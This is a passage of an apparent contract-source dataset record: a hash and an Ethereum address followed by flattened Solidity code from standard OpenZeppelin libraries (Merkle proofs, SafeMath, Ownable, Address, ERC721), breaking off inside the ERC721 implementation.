f8bb9f82977fd6ac15e3071e8eff30029 | [
14,
2
] |
0xf345c83767ac38474561aef16039f17339b55917 | // SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/cryptography/MerkleProof.sol
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
